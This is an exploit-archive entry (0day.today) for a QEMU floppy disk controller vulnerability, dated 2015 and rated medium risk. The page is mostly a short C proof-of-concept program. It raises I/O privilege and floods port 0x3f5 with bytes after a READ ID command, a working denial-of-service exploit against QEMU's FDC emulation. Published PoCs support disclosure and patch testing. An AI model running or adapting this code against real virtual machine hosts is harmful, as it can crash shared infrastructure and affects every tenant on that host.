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QEMU - Floppy Disk Controller (FDC) PoC

Author
Marcus Meissner
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-23653
Category
dos / poc
Date add
21-05-2015
Platform
multiple
// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2
 
#include <sys/io.h>
 
#define FIFO 0x3f5
 
int main() {
        int i;
        iopl(3);
 
        outb(0x0a,0x3f5); /* READ ID */
        for (i=0;i<10000000;i++)
                outb(0x42,0x3f5); /* push */
}

#  0day.today [2024-12-24]  #